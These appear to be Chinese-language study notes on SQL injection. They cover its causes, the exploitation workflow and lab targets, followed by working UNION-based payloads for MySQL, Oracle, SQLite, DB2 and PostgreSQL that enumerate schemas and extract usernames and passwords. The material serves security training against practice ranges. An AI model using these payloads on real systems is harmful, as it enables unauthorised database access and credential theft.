数据库知识：
1、数据库名，表名，列名，数据
2、自带数据库，数据库用户及权限
3、数据库敏感函数，默认端口及应用
4、数据库查询方法（增加删除修改更新）
SQL注入产生原理：
代码中执行的SQL语句存在可控变量导致
影响SQL注入的主要因素：
1、数据库类型（权限操作）
2、数据操作方法（增删改查）
3、参数数据类型（符号干扰）
4、参数数据格式（加密编码等）
5、提交数据方式（数据包部分）
6、有无数据处理（无回显逻辑等）
常见SQL注入的利用过程：
1、判断数据库类型
2、判断参数类型及格式
3、判断数据格式及提交
4、判断数据回显及防护
5、获取数据库名，表名，列名
6、获取对应数据及尝试其他利用
黑盒/白盒如何发现SQL注入
1、盲对所有参数进行测试
2、整合功能点脑补进行测试
白盒参考后期代码审计课程
利用过程：
获取数据库名->表名->列名->数据（一般是关键数据，如管理员）
靶场：
http://vulnweb.com/
https://mozhe.cn/Special/SQL_Injection
Access：已经基本淘汰 意义不大
Mssql
http://vulnweb.com/
数据库类型
Mysql
https://blog.csdn.net/weixin_57524749/article/details/140618103
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id=-1 union select 1,2,group_concat(id,name,password),4 from StormGroup_memberOracle
https://blog.csdn.net/A2893992091/article/details/141365829
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1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'2' from dual
and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'2' from dual
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https://blog.csdn.net/qq_32393893/article/details/103083240
union select 1,name,sql,4 from sqlite_master limit 0,1
union select 1,name,password,4 from WSTMart_regSybase
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id=-1 union select 1,current schema,current server,4 from sysibm.sysdummy1
id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 1,1
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id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 1,1
https://blog.csdn.net/m0_75036923/article/details/141364038
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and 1=2 union select 'null',null,null,null
and 1=2 union select null,'null',null,null
and 1=2 union select null,null,string_agg(datname,','),null from pg_database
and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users